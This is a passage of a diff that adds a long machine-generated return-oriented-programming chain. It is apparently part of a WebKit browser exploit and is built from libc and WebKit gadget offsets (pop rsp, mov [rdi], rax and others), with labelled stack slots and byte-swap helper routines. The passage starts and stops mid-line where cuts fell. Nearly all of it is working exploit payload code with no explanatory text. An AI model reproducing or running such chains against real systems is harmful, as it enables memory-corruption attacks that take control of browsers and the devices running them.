al, 1 +libc_base+768796 //pop rax +]); +//L1944: +db([0, 0]); // 0x0 +set_gadget(libc_base+489696,); //pop rsp +//L1943: +db([0, 0]); // 0x0 +//L1910: +set_gadgets([ +libc_base+713278, //pop rsi +ropchain+141328, //L1946 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278, //pop rsi +ropchain+141312, //L1945 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L1945: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1946: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+141432, //L1947 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+141448, //L1948 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1420514 //pop r8 +]); +//L1947: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1948: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+141568, //L1949 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+141552, //L1950 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L1950: +db([0, 0]); // 0x0 +set_gadget(libc_base+489696,); //pop rsp +//L1949: +db([0, 0]); // 0x0 +//L1934: +set_gadget(libc_base+713278,); //pop rsi +db([208, 0]); // 0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+165442, //pop rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+713278, //pop rsi +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+608613, //pop rdx +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+772328, //pop rcx +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+1420514, //pop r8 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+17972187, //pop r9 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+765305, //xor rax, rax +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+11, //nop +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+11, //nop +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+713278, //pop rsi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+772328, //pop rcx +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+165442, //pop rdi +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+1420514, //pop r8 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+489696, //pop rsp +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([208, 0]); // 0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967080, 4294967295]); // -0xd8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([200, 0]); // 0xc8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967088, 4294967295]); // -0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([192, 0]); // 0xc0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967096, 4294967295]); // -0xc8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([184, 0]); // 0xb8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967104, 4294967295]); // -0xc0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([176, 0]); // 0xb0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967112, 4294967295]); // -0xb8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([168, 0]); // 0xa8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967272, 4294967295]); // -0x18 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+772328 //pop rcx +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +webkit_base+5236215, //and rax, rcx +libc_base+772328, //pop rcx +__swbuf_addr, +webkit_base+2989859, //mov [rax], rcx +libc_base+713278 //pop rsi +]); +db([4294967192, 4294967295]); // -0x68 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278 //pop rsi +]); +db([48, 0]); // 0x30 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+740138, //mov rax, r8 +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([32, 0]); // 0x20 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278 //pop rsi +]); +db([24, 0]); // 0x18 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([128, 0]); // 0x80 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+142896, //L1951 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+489696 //pop rsp +]); +//L1951: +db([0, 0]); // 0x0 +//___bswap64_var: +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+142968, //L1953 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +webkit_base+1420514 //pop r8 +]); +//L1953: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+143080, //L1955 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278, //pop rsi +ropchain+143096, //L1956 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278 //pop rsi +]); +//L1954: +db([16, 0]); // 0x10 +set_gadget(webkit_base+1420514,); //pop r8 +//L1955: +db([0, 0]); // 0x0 +set_gadget(libc_base+772328,); //pop rcx +//L1956: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+143200, //L1959 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+143184, //L1958 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1958: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1959: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+143312, //L1961 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+143344, //L1963 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278, //pop rsi +ropchain+143328, //L1962 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1961: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1962: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1963: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+143448, //L1964 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+143464, //L1965 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1420514 //pop r8 +]); +//L1964: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1965: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+143584, //L1966 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+143568, //L1967 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L1967: +db([0, 0]); // 0x0 +set_gadget(libc_base+489696,); //pop rsp +//L1966: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+713278, //pop rsi +ropchain+143672, //L1969 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278, //pop rsi +ropchain+143656, //L1968 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L1968: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1969: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+143776, //L1970 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+143792, //L1971 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1420514 //pop r8 +]); +//L1970: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1971: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+143912, //L1972 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+143896, //L1973 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L1973: +db([0, 0]); // 0x0 +set_gadget(libc_base+489696,); //pop rsp +//L1972: +db([0, 0]); // 0x0 +//___bswap32_var: +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+143984, //L1975 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +webkit_base+1420514 //pop r8 +]); +//L1975: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+144096, //L1977 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278, //pop rsi +ropchain+144112, //L1978 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278 //pop rsi +]); +//L1976: +db([16, 0]); // 0x10 +set_gadget(webkit_base+1420514,); //pop r8 +//L1977: +db([0, 0]); // 0x0 +set_gadget(libc_base+772328,); //pop rcx +//L1978: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+144216, //L1981 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+144200, //L1980 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1980: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1981: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+144376, //L1984 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+144408, //L1986 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+144360, //L1983 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+144392, //L1985 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1983: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1984: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L1985: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1986: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+144568, //L1990 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+144536, //L1988 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+144552, //L1989 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1987: +db([32, 0]); // 0x20 +set_gadget(libc_base+165442,); //pop rdi +//L1988: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L1989: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1990: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+857183, //shr rax, cl +libc_base+713278, //pop rsi +ropchain+144688, //L1991 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+144720, //L1993 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278, //pop rsi +ropchain+144704, //L1992 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1991: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1992: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1993: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+144824, //L1994 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+144840, //L1995 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1420514 //pop r8 +]); +//L1994: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1995: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+144960, //L1996 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+144944, //L1997 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L1997: +db([0, 0]); // 0x0 +set_gadget(libc_base+489696,); //pop rsp +//L1996: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+713278, //pop rsi +ropchain+145048, //L1999 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278, //pop rsi +ropchain+145032, //L1998 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L1998: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1999: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+145152, //L2000 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+145168, //L2001 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1420514 //pop r8 +]); +//L2000: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2001: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+145288, //L2002 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+145272, //L2003 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L2003: +db([0, 0]); // 0x0 +set_gadget(libc_base+489696,); //pop rsp +//L2002: +db([0, 0]); // 0x0 +//___bswap16_var: +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+145360, //L2005 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +webkit_base+1420514 //pop r8 +]); +//L2005: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+145472, //L2007 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278, //pop rsi +ropchain+145488, //L2008 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278 //pop rsi +]); +//L2006: +db([16, 0]); // 0x10 +set_gadget(webkit_base+1420514,); //pop r8 +//L2007: +db([0, 0]); // 0x0 +set_gadget(libc_base+772328,); //pop rcx +//L2008: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+145592, //L2011 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+145576, //L2010 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2010: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2011: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+229840, //mov ax, [rdi] +libc_base+713278, //pop rsi +ropchain+145752, //L2016 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+145720, //L2014 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+145736, //L2015 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2013: +db([16, 0]); // 0x10 +set_gadget(libc_base+165442,); //pop rdi +//L2014: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2015: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2016: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+713278, //pop rsi +ropchain+145808, //L2017 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+165442 //pop rdi +]); +//L2017: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+288783, //sar edi, cl +libc_base+713278, //pop rsi +ropchain+145936, //L2020 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+145952, //L2021 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+145920, //L2019 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2019: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2020: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2021: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+146112, //L2025 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+146080, //L2023 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+146096, //L2024 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2022: +db([48, 0]); // 0x30 +set_gadget(libc_base+165442,); //pop rdi +//L2023: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2024: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2025: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+857183, //shr rax, cl +libc_base+713278, //pop rsi +ropchain+146216, //L2027 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+146200, //L2026 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2026: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2027: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+772328 //pop rcx +]); +//L2028: +db([8, 0]); // 0x8 +set_gadget(libc_base+768796,); //pop rax +//L2029: +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+857161, //shl rax, cl +libc_base+713278, //pop rsi +ropchain+146424, //L2032 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+146408, //L2031 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2030: +db([48, 0]); // 0x30 +set_gadget(webkit_base+3789839,); //pop r11 +//L2031: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2032: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+857183, //shr rax, cl +libc_base+713278, //pop rsi +ropchain+146528, //L2034 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+146512, //L2033 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2033: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2034: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+146624, //L2036 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2035: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L2036: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+146728, //L2039 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+146712, //L2038 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2038: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2039: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+229840, //mov ax, [rdi] +libc_base+713278, //pop rsi +ropchain+146888, //L2044 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+146856, //L2042 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+146872, //L2043 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2041: +db([16, 0]); // 0x10 +set_gadget(libc_base+165442,); //pop rdi +//L2042: +db([0, 